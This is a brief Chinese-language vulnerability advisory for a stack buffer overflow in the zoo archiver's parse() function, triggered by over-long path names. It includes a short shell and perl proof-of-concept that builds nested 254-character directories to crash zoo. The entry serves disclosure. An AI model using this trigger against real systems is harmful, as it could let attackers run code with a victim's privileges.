受影响系统:
描述:
BUGTRAQ ID: 17126
zoo是Fedora Extras中的文件压缩/解压工具。
zoo在处理超长的路径名时存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。
zoo的parse.c文件中的parse()函数在创建包含超长路径名文件的文档时存在边界条件错误。攻击者可以诱骗用户将包含超长文件名的目录中的文件添加到文档中,触发栈溢出,导致以受害用户的权限执行任意指令。
<*来源:Josh Bressers 链接:http://secunia.com/advisories/19250/print/ *> | 测试:
mkdir `perl -e 'print "A"x254'` cd `perl -e 'print "A"x254'` mkdir `perl -e 'print "A"x254'` cd `perl -e 'print "A"x254'` touch feh cd ../.. zoo a arch.zoo `perl -e 'print "A"x254 . "/" . "A"x254 . "/feh"'` | 建议:
|